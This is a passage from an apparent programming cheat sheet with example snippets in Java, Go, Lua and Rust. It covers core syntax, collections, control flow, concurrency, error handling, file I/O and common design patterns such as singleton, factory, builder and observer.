    .limit(5)
    .collect(Collectors.toList());

// Chaining operations
List<String> result = Arrays.asList("apple", "banana", "cherry", "date")
    .stream()
    .filter(s -> s.length() > 5)
    .map(String::toUpperCase)
    .sorted()
    .collect(Collectors.toList());

public class Singleton {
    private static Singleton instance;

    private Singleton() {
        // Private constructor
    }

    public static Singleton getInstance() {
        if (instance == null) {
            instance = new Singleton();
        }
        return instance;
    }
}

// Thread-safe singleton
public class ThreadSafeSingleton {
    private static volatile ThreadSafeSingleton instance;

    private ThreadSafeSingleton() {}

    public static ThreadSafeSingleton getInstance() {
        if (instance == null) {
            synchronized (ThreadSafeSingleton.class) {
                if (instance == null) {
                    instance = new ThreadSafeSingleton();
                }
            }
        }
        return instance;
    }
}

interface Animal {
    void speak();
}

class Dog implements Animal {
    public void speak() {
        System.out.println("Woof!");
    }
}

class Cat implements Animal {
    public void speak() {
        System.out.println("Meow!");
    }
}

class AnimalFactory {
    public static Animal createAnimal(String type) {
        if (type.equals("dog")) {
            return new Dog();
        } else if (type.equals("cat")) {
            return new Cat();
        }
        throw new IllegalArgumentException("Unknown animal type");
    }
}

// Usage
Animal animal = AnimalFactory.createAnimal("dog");
animal.speak();

public class User {
    private final String firstName;
    private final String lastName;
    private final int age;
    private final String email;

    private User(UserBuilder builder) {
        this.firstName = builder.firstName;
        this.lastName = builder.lastName;
        this.age = builder.age;
        this.email = builder.email;
    }

    public static class UserBuilder {
        private String firstName;
        private String lastName;
        private int age;
        private String email;

        public UserBuilder(String firstName, String lastName) {
            this.firstName = firstName;
            this.lastName = lastName;
        }

        public UserBuilder age(int age) {
            this.age = age;
            return this;
        }

        public UserBuilder email(String email) {
            this.email = email;
            return this;
        }

        public User build() {
            return new User(this);
        }
    }
}

// Usage
User user = new User.UserBuilder("Alice", "Smith")
    .age(30)
    .email("alice@example.com")
    .build();

import java.io.*;
import java.nio.file.*;

// Reading file
try (BufferedReader br = new BufferedReader(new FileReader("file.txt"))) {
    String line;
    while ((line = br.readLine()) != null) {
        System.out.println(line);
    }
} catch (IOException e) {
    e.printStackTrace();
}

// Writing file
try (BufferedWriter bw = new BufferedWriter(new FileWriter("file.txt"))) {
    bw.write("Hello, World!");
    bw.newLine();
    bw.write("Second line");
} catch (IOException e) {
    e.printStackTrace();
}

// Using Files class (Java 7+)
try {
    // Read all lines
    List<String> lines = Files.readAllLines(Paths.get("file.txt"));

    // Write lines
    Files.write(Paths.get("output.txt"),
                Arrays.asList("Line 1", "Line 2"));

    // Copy file
    Files.copy(Paths.get("source.txt"), Paths.get("dest.txt"));

    // Delete file
    Files.delete(Paths.get("file.txt"));
} catch (IOException e) {
    e.printStackTrace();
}

// Good
int studentCount = 50;

// Bad
int sc = 50;

Optional<String> optional = Optional.ofNullable(getValue());
String value = optional.orElse("default");

package main

import "fmt"

func main() {
    // Variable declaration
    var name string = "Alice"
    var age int = 30

    // Short declaration (type inference)
    city := "NYC"
    isActive := true

    // Multiple declarations
    var x, y, z int = 1, 2, 3
    a, b := 10, 20

    // Constants
    const PI = 3.14159
    const MaxSize = 100

    // Zero values (default values)
    var num int        // 0
    var str string     // ""
    var flag bool      // false
    var ptr *int       // nil

    fmt.Println(name, age, city, isActive)
}

// Basic types
var i int = 42           // Platform-dependent (32 or 64 bit)
var i8 int8 = 127        // 8-bit
var i16 int16 = 32767    // 16-bit
var i32 int32 = 2147483647  // 32-bit (rune alias)
var i64 int64 = 9223372036854775807  // 64-bit

var u uint = 42          // Unsigned, platform-dependent
var u8 uint8 = 255       // 8-bit (byte alias)

var f32 float32 = 3.14   // 32-bit float
var f64 float64 = 3.14159  // 64-bit float

var c64 complex64 = 1 + 2i
var c128 complex128 = 1 + 2i

var b bool = true
var r rune = 'A'         // Unicode code point (int32)
var by byte = 65         // Alias for uint8

var str string = "Hello, 世界"

// Type conversion
var x int = 42
var y float64 = float64(x)
var z uint = uint(x)

// String operations
s1 := "Hello"
s2 := "World"

// Concatenation
full := s1 + " " + s2

// Length (bytes, not runes)
length := len(s1)

// Accessing bytes
firstByte := s1[0]

// Substrings
sub := s1[1:4]  // "ell"

// String comparison
if s1 == s2 {
    fmt.Println("Equal")
}

// Multi-line strings
multiline := `This is a
multi-line
string`

// String iteration
for i, char := range "Hello" {
    fmt.Printf("%d: %c\n", i, char)
}

// String formatting
import "fmt"
formatted := fmt.Sprintf("Name: %s, Age: %d", "Alice", 30)

// String conversion
import "strconv"
numStr := strconv.Itoa(42)        // int to string
num, err := strconv.Atoi("42")    // string to int

// Fixed-size arrays
var arr [5]int
arr[0] = 1

// Array literal
numbers := [5]int{1, 2, 3, 4, 5}

// Compiler counts length
auto := [...]int{1, 2, 3, 4}

// Multi-dimensional arrays
matrix := [3][3]int{
    {1, 2, 3},
    {4, 5, 6},
    {7, 8, 9},
}

// Array length
length := len(numbers)

// Iterate over array
for i, v := range numbers {
    fmt.Printf("%d: %d\n", i, v)
}

// Creating slices
var slice []int                    // nil slice
slice = []int{1, 2, 3, 4, 5}      // slice literal
slice = make([]int, 5)             // length 5, all zeros
slice = make([]int, 5, 10)         // length 5, capacity 10

// Append to slice
slice = append(slice, 6)
slice = append(slice, 7, 8, 9)

// Slice operations
arr := []int{1, 2, 3, 4, 5}
sub := arr[1:4]        // [2, 3, 4]
first := arr[:3]       // [1, 2, 3]
last := arr[3:]        // [4, 5]

// Length and capacity
len := len(slice)
cap := cap(slice)

// Copy slices
src := []int{1, 2, 3}
dst := make([]int, len(src))
copy(dst, src)

// 2D slices
matrix := [][]int{
    {1, 2, 3},
    {4, 5, 6},
}

// Iterate
for i, v := range slice {
    fmt.Printf("%d: %d\n", i, v)
}

// Creating maps
var m map[string]int               // nil map
m = make(map[string]int)           // empty map
m = map[string]int{                // map literal
    "Alice": 25,
    "Bob":   30,
}

// Adding/updating elements
m["Charlie"] = 35
m["Alice"] = 26

// Accessing elements
age := m["Alice"]

// Check if key exists
age, ok := m["Alice"]
if ok {
    fmt.Println("Alice's age:", age)
}

// Delete element
delete(m, "Bob")

// Iterate over map
for key, value := range m {
    fmt.Printf("%s: %d\n", key, value)
}

// Map length
size := len(m)

// Nested maps
nested := map[string]map[string]int{
    "group1": {
        "Alice": 25,
        "Bob":   30,
    },
    "group2": {
        "Charlie": 35,
    },
}

age := 18

if age < 13 {
    fmt.Println("Child")
} else if age < 20 {
    fmt.Println("Teenager")
} else {
    fmt.Println("Adult")
}

// If with initialization
if num := 42; num > 0 {
    fmt.Println("Positive")
}

// Error checking pattern
if err := someFunction(); err != nil {
    fmt.Println("Error:", err)
}

// Basic switch
day := 3
switch day {
case 1:
    fmt.Println("Monday")
case 2:
    fmt.Println("Tuesday")
case 3:
    fmt.Println("Wednesday")
default:
    fmt.Println("Other day")
}

// Multiple cases
switch day {
case 1, 2, 3, 4, 5:
    fmt.Println("Weekday")
case 6, 7:
    fmt.Println("Weekend")
}

// Switch with condition
num := 42
switch {
case num < 0:
    fmt.Println("Negative")
case num == 0:
    fmt.Println("Zero")
case num > 0:
    fmt.Println("Positive")
}

// Type switch
var i interface{} = "hello"
switch v := i.(type) {
case string:
    fmt.Println("String:", v)
case int:
    fmt.Println("Int:", v)
default:
    fmt.Println("Unknown type")
}

// For loop (only loop in Go)
for i := 0; i < 5; i++ {
    fmt.Println(i)
}

// While-style loop
count := 0
for count < 5 {
    fmt.Println(count)
    count++
}

// Infinite loop
for {
    fmt.Println("Forever")
    break  // Exit loop
}

// Range over slice
numbers := []int{1, 2, 3, 4, 5}
for i, v := range numbers {
    fmt.Printf("%d: %d\n", i, v)
}

// Range over map
m := map[string]int{"a": 1, "b": 2}
for key, value := range m {
    fmt.Printf("%s: %d\n", key, value)
}

// Ignore index/value with _
for _, v := range numbers {
    fmt.Println(v)
}

// Break and continue
for i := 0; i < 10; i++ {
    if i == 5 {
        continue
    }
    if i == 8 {
        break
    }
    fmt.Println(i)
}

// Simple function
func greet(name string) {
    fmt.Println("Hello,", name)
}

// Function with return value
func add(a, b int) int {
    return a + b
}

// Multiple parameters of same type
func multiply(a, b, c int) int {
    return a * b * c
}

// Multiple return values
func swap(a, b string) (string, string) {
    return b, a
}

// Named return values
func divide(a, b float64) (result float64, err error) {
    if b == 0 {
        err = fmt.Errorf("division by zero")
        return
    }
    result = a / b
    return  // Naked return
}

// Variadic functions
func sum(numbers ...int) int {
    total := 0
    for _, num := range numbers {
        total += num
    }
    return total
}

// Usage
result := sum(1, 2, 3, 4, 5)

// Anonymous function
add := func(a, b int) int {
    return a + b
}
result := add(5, 3)

// Immediately invoked function
result := func(a, b int) int {
    return a + b
}(5, 3)

// Closure
func counter() func() int {
    count := 0
    return func() int {
        count++
        return count
    }
}

c := counter()
fmt.Println(c())  // 1
fmt.Println(c())  // 2
fmt.Println(c())  // 3

// Defer executes at function end
func example() {
    defer fmt.Println("World")
    fmt.Println("Hello")
}
// Output: Hello
//         World

// Multiple defers (LIFO order)
func multiDefer() {
    defer fmt.Println("1")
    defer fmt.Println("2")
    defer fmt.Println("3")
}
// Output: 3, 2, 1

// Common pattern: cleanup
func readFile(filename string) error {
    f, err := os.Open(filename)
    if err != nil {
        return err
    }
    defer f.Close()

    // Work with file
    return nil
}

// Define struct
type Person struct {
    Name string
    Age  int
    Email string
}

// Create struct
p1 := Person{
    Name:  "Alice",
    Age:   30,
    Email: "alice@example.com",
}

// Short form
p2 := Person{"Bob", 25, "bob@example.com"}

// Anonymous struct
person := struct {
    name string
    age  int
}{
    name: "Charlie",
    age:  35,
}

// Accessing fields
fmt.Println(p1.Name)
p1.Age = 31

// Pointer to struct
p := &Person{Name: "Alice", Age: 30}
p.Age = 31  // Automatic dereferencing

// Embedded structs
type Address struct {
    City    string
    Country string
}

type Employee struct {
    Person   // Embedded struct
    Address  // Embedded struct
    Salary   float64
}

emp := Employee{
    Person:  Person{Name: "Alice", Age: 30},
    Address: Address{City: "NYC", Country: "USA"},
    Salary:  100000,
}

// Access embedded fields
fmt.Println(emp.Name)  // From Person
fmt.Println(emp.City)  // From Address

// Method on struct
type Rectangle struct {
    Width  float64
    Height float64
}

// Value receiver
func (r Rectangle) Area() float64 {
    return r.Width * r.Height
}

// Pointer receiver (can modify)
func (r *Rectangle) Scale(factor float64) {
    r.Width *= factor
    r.Height *= factor
}

// Usage
rect := Rectangle{Width: 10, Height: 5}
area := rect.Area()
rect.Scale(2)

// Method on any type
type MyInt int

func (m MyInt) Double() MyInt {
    return m * 2
}

num := MyInt(5)
result := num.Double()  // 10

// Define interface
type Shape interface {
    Area() float64
    Perimeter() float64
}

// Implement interface (implicit)
type Circle struct {
    Radius float64
}

func (c Circle) Area() float64 {
    return 3.14159 * c.Radius * c.Radius
}

func (c Circle) Perimeter() float64 {
    return 2 * 3.14159 * c.Radius
}

type Rectangle struct {
    Width, Height float64
}

func (r Rectangle) Area() float64 {
    return r.Width * r.Height
}

func (r Rectangle) Perimeter() float64 {
    return 2 * (r.Width + r.Height)
}

// Use interface
func printArea(s Shape) {
    fmt.Printf("Area: %.2f\n", s.Area())
}

// Usage
c := Circle{Radius: 5}
r := Rectangle{Width: 10, Height: 5}

printArea(c)
printArea(r)

// Empty interface (any type)
func printAnything(v interface{}) {
    fmt.Println(v)
}

printAnything(42)
printAnything("hello")
printAnything(true)

// Type assertion
var i interface{} = "hello"
s := i.(string)
s, ok := i.(string)  // Safe type assertion

// Type switch
switch v := i.(type) {
case string:
    fmt.Println("String:", v)
case int:
    fmt.Println("Int:", v)
default:
    fmt.Println("Unknown")
}

// Start goroutine
go func() {
    fmt.Println("Hello from goroutine")
}()

// Multiple goroutines
for i := 0; i < 5; i++ {
    go func(n int) {
        fmt.Println("Goroutine", n)
    }(i)
}

// Wait for goroutines
import "sync"

var wg sync.WaitGroup

for i := 0; i < 5; i++ {
    wg.Add(1)
    go func(n int) {
        defer wg.Done()
        fmt.Println("Worker", n)
    }(i)
}

wg.Wait()

// Create channel
ch := make(chan int)

// Buffered channel
ch := make(chan int, 5)

// Send to channel
go func() {
    ch <- 42
}()

// Receive from channel
value := <-ch

// Close channel
close(ch)

// Range over channel
go func() {
    for i := 0; i < 5; i++ {
        ch <- i
    }
    close(ch)
}()

for value := range ch {
    fmt.Println(value)
}

// Select statement
ch1 := make(chan string)
ch2 := make(chan string)

go func() {
    ch1 <- "from ch1"
}()

go func() {
    ch2 <- "from ch2"
}()

select {
case msg1 := <-ch1:
    fmt.Println(msg1)
case msg2 := <-ch2:
    fmt.Println(msg2)
case <-time.After(1 * time.Second):
    fmt.Println("timeout")
}

import "sync"

// Mutex
var (
    mu    sync.Mutex
    count int
)

func increment() {
    mu.Lock()
    defer mu.Unlock()
    count++
}

// RWMutex (multiple readers, single writer)
var (
    rwMu sync.RWMutex
    data map[string]int
)

func read(key string) int {
    rwMu.RLock()
    defer rwMu.RUnlock()
    return data[key]
}

func write(key string, value int) {
    rwMu.Lock()
    defer rwMu.Unlock()
    data[key] = value
}

// Once (execute only once)
var once sync.Once

func initialize() {
    once.Do(func() {
        fmt.Println("Initialized")
    })
}

import "errors"
import "fmt"

// Return error
func divide(a, b float64) (float64, error) {
    if b == 0 {
        return 0, errors.New("division by zero")
    }
    return a / b, nil
}

// Formatted error
func validateAge(age int) error {
    if age < 0 {
        return fmt.Errorf("invalid age: %d", age)
    }
    return nil
}

// Custom error type
type ValidationError struct {
    Field string
    Value interface{}
}

func (e *ValidationError) Error() string {
    return fmt.Sprintf("validation error: %s = %v", e.Field, e.Value)
}

// Error handling pattern
result, err := divide(10, 0)
if err != nil {
    fmt.Println("Error:", err)
    return
}
fmt.Println("Result:", result)

// Panic and recover
func riskyOperation() {
    defer func() {
        if r := recover(); r != nil {
            fmt.Println("Recovered from panic:", r)
        }
    }()

    panic("something went wrong")
}

// Package declaration
package main

// Import single package
import "fmt"

// Import multiple packages
import (
    "fmt"
    "math"
    "strings"
)

// Aliased import
import f "fmt"
f.Println("Hello")

// Blank import (side effects)
import _ "database/sql/driver"

// Creating a package
// mypackage/mypackage.go
package mypackage

// Exported (capitalized)
func PublicFunction() {
    fmt.Println("Public")
}

// Not exported (lowercase)
func privateFunction() {
    fmt.Println("Private")
}

// Using the package
import "myproject/mypackage"

mypackage.PublicFunction()

import (
    "bufio"
    "fmt"
    "io/ioutil"
    "os"
)

// Read entire file
data, err := ioutil.ReadFile("file.txt")
if err != nil {
    panic(err)
}
fmt.Println(string(data))

// Write file
err = ioutil.WriteFile("output.txt", []byte("Hello"), 0644)

// Open file
file, err := os.Open("file.txt")
if err != nil {
    panic(err)
}
defer file.Close()

// Read line by line
scanner := bufio.NewScanner(file)
for scanner.Scan() {
    fmt.Println(scanner.Text())
}

// Write to file
file, err := os.Create("output.txt")
if err != nil {
    panic(err)
}
defer file.Close()

writer := bufio.NewWriter(file)
writer.WriteString("Hello, World!\n")
writer.Flush()

import "sync"

type singleton struct {
    data string
}

var (
    instance *singleton
    once     sync.Once
)

func GetInstance() *singleton {
    once.Do(func() {
        instance = &singleton{data: "singleton"}
    })
    return instance
}

type Animal interface {
    Speak() string
}

type Dog struct{}
func (d Dog) Speak() string { return "Woof!" }

type Cat struct{}
func (c Cat) Speak() string { return "Meow!" }

func NewAnimal(animalType string) Animal {
    switch animalType {
    case "dog":
        return Dog{}
    case "cat":
        return Cat{}
    default:
        return nil
    }
}

type User struct {
    firstName string
    lastName  string
    age       int
    email     string
}

type UserBuilder struct {
    user User
}

func NewUserBuilder() *UserBuilder {
    return &UserBuilder{}
}

func (b *UserBuilder) FirstName(name string) *UserBuilder {
    b.user.firstName = name
    return b
}

func (b *UserBuilder) LastName(name string) *UserBuilder {
    b.user.lastName = name
    return b
}

func (b *UserBuilder) Age(age int) *UserBuilder {
    b.user.age = age
    return b
}

func (b *UserBuilder) Email(email string) *UserBuilder {
    b.user.email = email
    return b
}

func (b *UserBuilder) Build() User {
    return b.user
}

// Usage
user := NewUserBuilder().
    FirstName("Alice").
    LastName("Smith").
    Age(30).
    Email("alice@example.com").
    Build()

// main.go
package main

func Add(a, b int) int {
    return a + b
}

// main_test.go
package main

import "testing"

func TestAdd(t *testing.T) {
    result := Add(2, 3)
    expected := 5

    if result != expected {
        t.Errorf("Add(2, 3) = %d; want %d", result, expected)
    }
}

func TestAddNegative(t *testing.T) {
    result := Add(-1, -1)
    expected := -2

    if result != expected {
        t.Errorf("Add(-1, -1) = %d; want %d", result, expected)
    }
}

// Table-driven tests
func TestAddTable(t *testing.T) {
    tests := []struct {
        a, b, expected int
    }{
        {1, 2, 3},
        {0, 0, 0},
        {-1, 1, 0},
        {10, 20, 30},
    }

    for _, tt := range tests {
        result := Add(tt.a, tt.b)
        if result != tt.expected {
            t.Errorf("Add(%d, %d) = %d; want %d",
                tt.a, tt.b, result, tt.expected)
        }
    }
}

// Run tests: go test
// Run with coverage: go test -cover

gofmt -w .

golint ./...

if err != nil {
    return err
}

// Add returns the sum of two integers.
func Add(a, b int) int {
    return a + b
}

ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()

# Initialize module
go mod init github.com/username/project

# Add dependency
go get github.com/gin-gonic/gin

# Update dependencies
go get -u

# Tidy dependencies
go mod tidy

# Vendor dependencies
go mod vendor

# Run program
go run main.go

# Build executable
go build

# Install binary
go install

# Format code
go fmt ./...

# Run tests
go test ./...

# Get dependencies
go get package

# Show documentation
go doc fmt.Println

-- Variables (global by default)
name = "Alice"
age = 30
pi = 3.14159

-- Local variables (recommended)
local x = 10
local y = 20

-- Multiple assignment
local a, b, c = 1, 2, 3

-- Swap variables
a, b = b, a

-- Nil (undefined/null)
local nothing = nil

-- Comments
-- Single line comment

--[[
    Multi-line
    comment
]]

-- Data types
local num = 42              -- number
local str = "Hello"         -- string
local bool = true           -- boolean
local tbl = {1, 2, 3}      -- table
local func = function() end -- function
local thread = coroutine.create(function() end)  -- thread
local nothing = nil         -- nil

-- Type checking
print(type(num))    -- number
print(type(str))    -- string
print(type(bool))   -- boolean
print(type(tbl))    -- table
print(type(func))   -- function

-- String creation
local s1 = "Hello"
local s2 = 'World'
local s3 = [[Multi-line
string]]

-- String concatenation
local full = s1 .. " " .. s2

-- String length
local len = #s1
local len2 = string.len(s1)

-- String methods
local upper = string.upper(s1)          -- "HELLO"
local lower = string.lower(s1)          -- "hello"
local sub = string.sub(s1, 1, 3)        -- "Hel"
local find = string.find(s1, "ll")      -- 3, 4
local replace = string.gsub(s1, "l", "L")  -- "HeLLo"

-- String formatting
local formatted = string.format("Name: %s, Age: %d", "Alice", 30)

-- String to number
local num = tonumber("42")
local str = tostring(42)

-- String repetition
local repeated = string.rep("Ha", 3)  -- "HaHaHa"

-- Pattern matching (similar to regex)
local match = string.match("Hello123", "%d+")  -- "123"

-- Iterate characters
for i = 1, #s1 do
    local char = string.sub(s1, i, i)
    print(char)
end

-- Array creation
local arr = {10, 20, 30, 40, 50}

-- Accessing elements (1-indexed!)
print(arr[1])  -- 10

-- Modifying elements
arr[1] = 15

-- Array length
local len = #arr

-- Append to array
table.insert(arr, 60)        -- Append to end
table.insert(arr, 2, 25)     -- Insert at position 2

-- Remove from array
local last = table.remove(arr)      -- Remove last
local second = table.remove(arr, 2) -- Remove at position 2

-- Iterate array
for i = 1, #arr do
    print(i, arr[i])
end

-- Iterate with ipairs
for i, v in ipairs(arr) do
    print(i, v)
end

-- Table functions
table.sort(arr)                      -- Sort ascending
table.sort(arr, function(a, b) return a > b end)  -- Sort descending
local str = table.concat(arr, ", ")  -- Join with separator

-- Dictionary creation
local person = {
    name = "Alice",
    age = 30,
    city = "NYC"
}

-- Alternative syntax
local person2 = {
    ["name"] = "Bob",
    ["age"] = 25
}

-- Accessing elements
print(person.name)       -- Dot notation
print(person["age"])     -- Bracket notation

-- Adding/modifying
person.email = "alice@example.com"
person["phone"] = "123-456-7890"

-- Removing
person.email = nil

-- Iterate dictionary
for key, value in pairs(person) do
    print(key, value)
end

-- Check if key exists
if person.name then
    print("Name exists")
end

-- Nested tables
local nested = {
    user = {
        name = "Alice",
        address = {
            city = "NYC",
            country = "USA"
        }
    }
}

print(nested.user.address.city)

-- Table with both array and dictionary parts
local mixed = {
    "first",      -- [1] = "first"
    "second",     -- [2] = "second"
    name = "Alice",
    age = 30
}

print(mixed[1])      -- "first"
print(mixed.name)    -- "Alice"

-- Length only counts array part
print(#mixed)        -- 2

local age = 18

if age < 13 then
    print("Child")
elseif age < 20 then
    print("Teenager")
else
    print("Adult")
end

-- Logical operators: and, or, not
if age >= 18 and age < 65 then
    print("Working age")
end

if age < 18 or age > 65 then
    print("Not working age")
end

if not (age < 18) then
    print("Adult")
end

-- Ternary-like operator
local status = age >= 18 and "Adult" or "Minor"

-- While loop
local count = 0
while count < 5 do
    print(count)
    count = count + 1
end

-- Repeat-until loop (do-while)
local i = 0
repeat
    print(i)
    i = i + 1
until i >= 5

-- For loop (numeric)
for i = 1, 5 do
    print(i)  -- 1, 2, 3, 4, 5
end

-- For loop with step
for i = 0, 10, 2 do
    print(i)  -- 0, 2, 4, 6, 8, 10
end

-- For loop (reverse)
for i = 5, 1, -1 do
    print(i)  -- 5, 4, 3, 2, 1
end

-- Iterate array with ipairs
local arr = {10, 20, 30, 40, 50}
for i, v in ipairs(arr) do
    print(i, v)
end

-- Iterate table with pairs
local person = {name = "Alice", age = 30}
for key, value in pairs(person) do
    print(key, value)
end

-- Break
for i = 1, 10 do
    if i == 5 then
        break
    end
    print(i)
end

-- No continue in Lua (use goto in Lua 5.2+)
for i = 1, 10 do
    if i == 5 then
        goto continue
    end
    print(i)
    ::continue::
end

-- Basic function
function greet(name)
    print("Hello, " .. name)
end

greet("Alice")

-- Function with return value
function add(a, b)
    return a + b
end

local result = add(5, 3)

-- Multiple return values
function swap(a, b)
    return b, a
end

local x, y = swap(10, 20)

-- Default parameters (manual)
function greet(name)
    name = name or "World"
    print("Hello, " .. name)
end

-- Variable arguments
function sum(...)
    local total = 0
    for _, v in ipairs({...}) do
        total = total + v
    end
    return total
end

print(sum(1, 2, 3, 4, 5))  -- 15

-- Anonymous functions
local add = function(a, b)
    return a + b
end

-- Function as argument
function applyOperation(a, b, operation)
    return operation(a, b)
end

local result = applyOperation(5, 3, function(x, y)
    return x * y
end)

-- Closures
function counter()
    local count = 0
    return function()
        count = count + 1
        return count
    end
end

local c = counter()
print(c())  -- 1
print(c())  -- 2
print(c())  -- 3

-- Local functions
local function helper()
    print("Helper function")
end

-- Recursive functions need forward declaration
local factorial
factorial = function(n)
    if n <= 1 then
        return 1
    else
        return n * factorial(n - 1)
    end
end

-- Simple object
local person = {
    name = "Alice",
    age = 30,

    greet = function(self)
        print("Hello, I'm " .. self.name)
    end
}

person:greet()  -- Colon syntax passes self automatically
-- Equivalent to: person.greet(person)

-- Define a class
local Person = {}
Person.__index = Person

-- Constructor
function Person:new(name, age)
    local instance = setmetatable({}, Person)
    instance.name = name
    instance.age = age
    return instance
end

-- Methods
function Person:greet()
    print("Hello, I'm " .. self.name)
end

function Person:getAge()
    return self.age
end

function Person:setAge(age)
    self.age = age
end

-- Usage
local alice = Person:new("Alice", 30)
alice:greet()
print(alice:getAge())

-- Inheritance
local Employee = setmetatable({}, {__index = Person})
Employee.__index = Employee

function Employee:new(name, age, salary)
    local instance = Person:new(name, age)
    setmetatable(instance, Employee)
    instance.salary = salary
    return instance
end

function Employee:getSalary()
    return self.salary
end

-- Usage
local emp = Employee:new("Bob", 25, 50000)
emp:greet()  -- Inherited from Person
print(emp:getSalary())

-- Operator overloading
local Vector = {}
Vector.__index = Vector

function Vector:new(x, y)
    return setmetatable({x = x, y = y}, Vector)
end

-- Overload addition
Vector.__add = function(a, b)
    return Vector:new(a.x + b.x, a.y + b.y)
end

-- Overload tostring
Vector.__tostring = function(v)
    return "(" .. v.x .. ", " .. v.y .. ")"
end

local v1 = Vector:new(1, 2)
local v2 = Vector:new(3, 4)
local v3 = v1 + v2
print(v3)  -- (4, 6)

-- mymodule.lua
local M = {}

-- Private function
local function private()
    print("Private")
end

-- Public function
function M.public()
    print("Public")
end

function M.add(a, b)
    return a + b
end

return M

-- main.lua
local mymodule = require("mymodule")
mymodule.public()
local result = mymodule.add(5, 3)

-- pcall (protected call)
local success, result = pcall(function()
    return 10 / 0
end)

if success then
    print("Result:", result)
else
    print("Error:", result)
end

-- Error with message
function divide(a, b)
    if b == 0 then
        error("Division by zero")
    end
    return a / b
end

local success, result = pcall(divide, 10, 0)
if not success then
    print("Error:", result)
end

-- Assert
local function checkPositive(n)
    assert(n > 0, "Number must be positive")
    return n
end

-- xpcall (with error handler)
local function errorHandler(err)
    print("Error occurred:", err)
    return err
end

local success, result = xpcall(function()
    error("Something went wrong")
end, errorHandler)

-- Read entire file
local file = io.open("input.txt", "r")
if file then
    local content = file:read("*all")
    print(content)
    file:close()
end

-- Read line by line
local file = io.open("input.txt", "r")
if file then
    for line in file:lines() do
        print(line)
    end
    file:close()
end

-- Write file
local file = io.open("output.txt", "w")
if file then
    file:write("Hello, World!\n")
    file:write("Second line\n")
    file:close()
end

-- Append to file
local file = io.open("output.txt", "a")
if file then
    file:write("Appended line\n")
    file:close()
end

-- Using io.input and io.output
io.input("input.txt")
local content = io.read("*all")
io.close()

io.output("output.txt")
io.write("Hello\n")
io.close()

-- Create coroutine
local co = coroutine.create(function()
    for i = 1, 5 do
        print("Coroutine:", i)
        coroutine.yield()  -- Pause execution
    end
end)

-- Resume coroutine
coroutine.resume(co)  -- Prints 1
coroutine.resume(co)  -- Prints 2
coroutine.resume(co)  -- Prints 3

-- Check status
print(coroutine.status(co))  -- suspended or running or dead

-- Producer-consumer pattern
local function producer()
    return coroutine.create(function()
        for i = 1, 5 do
            coroutine.yield(i)
        end
    end)
end

local function consumer(prod)
    while true do
        local status, value = coroutine.resume(prod)
        if not status then break end
        print("Received:", value)
    end
end

consumer(producer())

local Singleton = {}
local instance

function Singleton:getInstance()
    if not instance then
        instance = {data = "singleton"}
    end
    return instance
end

local s1 = Singleton:getInstance()
local s2 = Singleton:getInstance()
print(s1 == s2)  -- true

local AnimalFactory = {}

function AnimalFactory:create(animalType)
    if animalType == "dog" then
        return {speak = function() return "Woof!" end}
    elseif animalType == "cat" then
        return {speak = function() return "Meow!" end}
    end
end

local dog = AnimalFactory:create("dog")
print(dog.speak())

local Subject = {}
Subject.__index = Subject

function Subject:new()
    return setmetatable({observers = {}}, Subject)
end

function Subject:attach(observer)
    table.insert(self.observers, observer)
end

function Subject:detach(observer)
    for i, obs in ipairs(self.observers) do
        if obs == observer then
            table.remove(self.observers, i)
            break
        end
    end
end

function Subject:notify(data)
    for _, observer in ipairs(self.observers) do
        observer:update(data)
    end
end

-- Observer
local Observer = {}
Observer.__index = Observer

function Observer:new(name)
    return setmetatable({name = name}, Observer)
end

function Observer:update(data)
    print(self.name .. " received: " .. data)
end

-- Usage
local subject = Subject:new()
local obs1 = Observer:new("Observer1")
local obs2 = Observer:new("Observer2")

subject:attach(obs1)
subject:attach(obs2)
subject:notify("Event occurred!")

-- Math
print(math.pi)
print(math.abs(-5))
print(math.floor(3.7))
print(math.ceil(3.2))
print(math.max(1, 5, 3))
print(math.min(1, 5, 3))
print(math.random())        -- Random [0, 1)
print(math.random(10))      -- Random [1, 10]
print(math.random(5, 10))   -- Random [5, 10]

-- String
print(string.upper("hello"))
print(string.lower("HELLO"))
print(string.reverse("hello"))

-- Table
local arr = {3, 1, 4, 1, 5}
table.sort(arr)
print(table.concat(arr, ", "))

-- OS
print(os.time())
print(os.date("%Y-%m-%d %H:%M:%S"))
os.execute("ls")  -- Execute shell command

-- Pairs / IPairs
local t = {10, 20, 30, x = 1, y = 2}
for k, v in pairs(t) do   -- All elements
    print(k, v)
end
for i, v in ipairs(t) do  -- Only array part
    print(i, v)
end

local x = 10  -- Good
x = 10        -- Bad (global)

local insert = table.insert
for i = 1, 1000 do
    insert(arr, i)
end

-- config.lua
return {
    database = {
        host = "localhost",
        port = 5432,
        name = "mydb"
    },
    server = {
        port = 8080,
        workers = 4
    }
}

-- Load config
local config = require("config")
print(config.database.host)

-- Define enemy
local Enemy = {}
Enemy.__index = Enemy

function Enemy:new(name, health, damage)
    return setmetatable({
        name = name,
        health = health,
        damage = damage
    }, Enemy)
end

function Enemy:attack(target)
    target.health = target.health - self.damage
    print(self.name .. " attacks " .. target.name)
end

function Enemy:isAlive()
    return self.health > 0
end

fn main() {
    // Immutable by default
    let x = 5;
    // x = 6; // Error! Cannot mutate immutable variable

    // Mutable variable
    let mut y = 5;
    y = 6; // OK

    // Constants (must have type annotation)
    const MAX_POINTS: u32 = 100_000;

    // Shadowing (redefining variable)
    let x = 5;
    let x = x + 1;
    let x = x * 2; // x is now 12

    // Type annotation
    let guess: u32 = "42".parse().expect("Not a number!");

    // Scalar types
    let integer: i32 = 42;
    let float: f64 = 3.14;
    let boolean: bool = true;
    let character: char = 'A';

    // Integer types: i8, i16, i32, i64, i128, isize
    // Unsigned: u8, u16, u32, u64, u128, usize
    let signed: i8 = -127;
    let unsigned: u8 = 255;

    // Number literals
    let decimal = 98_222;
    let hex = 0xff;
    let octal = 0o77;
    let binary = 0b1111_0000;
    let byte = b'A'; // u8 only
}
fn main() {
    // String slice (immutable, fixed size)
    let s1: &str = "Hello";

    // String (mutable, growable)
    let mut s2 = String::from("Hello");
    s2.push_str(", World!");

    // String operations
    let len = s2.len();
    let is_empty = s2.is_empty();
    let contains = s2.contains("World");

    // String concatenation
    let s3 = String::from("Hello");
    let s4 = String::from(" World");
    let s5 = s3 + &s4; // s3 is moved, can't use it anymore

    // Format macro (doesn't take ownership)
    let s6 = format!("{} {}", s1, s4);

    // String slicing
    let hello = &s2[0..5];
    let world = &s2[7..12];

    // Iterate over chars
    for c in "Hello".chars() {
        println!("{}", c);
    }

    // Iterate over bytes
    for b in "Hello".bytes() {
